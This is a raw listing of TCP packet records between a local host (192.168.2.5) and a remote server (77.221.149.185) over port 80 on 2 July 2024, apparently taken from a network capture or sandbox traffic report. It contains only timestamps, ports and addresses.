Jul 2, 2024 22:52:28.999159098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999165058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.999167919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999177933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999185085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999186993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.999193907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999203920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999205112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.999212027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999223948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.999258995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.999886036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999896049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999906063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999917030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999926090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999937057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999946117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999955893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999959946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.999965906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999975920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999984980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999994993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.999996901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.000003099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.000016928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.000030041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.000417948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.000428915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.000437975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.000447035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.000452042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.000457048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.000466108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.000466108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.000499964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.000516891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.107975006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.107986927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.107996941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108036995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.108091116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108102083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108113050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108122110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108136892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108139038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.108177900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.108350992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108361006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108371019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108381033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108402967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.108418941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.108597040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108620882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108652115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108660936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108670950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108680964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108686924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.108690023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108699083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108707905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.108710051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108720064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.108727932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.108742952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.108757973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109045982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109055042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109060049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109069109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109097004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109112978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109250069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109260082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109268904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109278917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109287024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109293938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109332085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109332085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109344959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109354973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109364033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109369993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109373093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109392881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109425068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109546900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109560966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109571934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109595060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109605074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109612942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109617949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109623909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109633923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109642982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109647036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109653950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.109671116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.109690905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.110048056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110058069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110081911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110091925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110099077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.110100985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110110998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110131025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.110152960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.110330105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110340118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110349894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110354900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110405922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.110435963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110450029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110460043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110469103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110479116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110488892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110490084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.110497952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110507011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.110507965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110517979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110529900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110532999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.110539913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.110559940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.110572100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111057043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111068010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111078024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111088991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111099005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111104965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111109018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111124039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111141920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111195087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111208916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111217976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111227989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111238956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111238956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111248970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111259937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111263990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111268997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111279011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111287117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111290932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111298084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111308098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111311913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111318111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.111332893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111354113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.111362934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112013102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112025976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112035036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112039089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112049103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112057924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112066984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112077951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112087011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112092018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112098932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112102985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112149954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112478018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112493038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112503052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112513065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112523079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112530947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112535000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112540007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112543106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112550974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112575054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112587929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112737894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112833977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112835884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112843990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112854958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112865925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112870932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112879992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112888098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112890959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.112907887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.112947941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.114763975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.114774942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.114787102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.114819050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.114859104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.114896059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.114905119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.114913940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.114931107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.114939928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.114950895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.114983082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.196928024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.196943998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.196955919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.196988106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.197268963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197279930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197289944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197299004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197308064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197326899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.197355032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.197485924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197509050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197519064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197550058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.197644949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197655916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197664976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197674990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197694063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.197715998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.197935104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197945118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197953939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197963953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197974920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197984934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.197988033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.197997093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198007107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.198024035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.198033094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.198354959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198412895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198422909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198458910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198468924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.198468924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198504925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.198816061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198827028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198863029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.198920965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198930979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.198961020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.198961973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199007034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199047089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199055910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199067116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199076891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199086905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199120998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199251890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199261904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199301958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199306011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199316025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199326992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199348927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199479103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199517965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199522972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199528933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199537039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199559927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199712038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199722052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199731112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199752092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199771881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199780941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199790001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199799061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199810028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199819088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.199826002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.199856043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.200027943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200037956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200047016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200073004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.200083971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.200190067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200198889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200207949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200221062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200228930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200232029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.200256109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.200455904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200465918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200474977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200489044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200499058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.200500965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200531006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.200567007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200577021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.200630903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.201298952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201308966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201318979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201344967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.201524973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201534033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201549053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201558113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201567888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201571941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.201577902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.201607943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.201693058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201703072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201711893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201723099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201731920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201742887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.201770067 CEST	49712	80	192.168.2.5	77.221.149.185
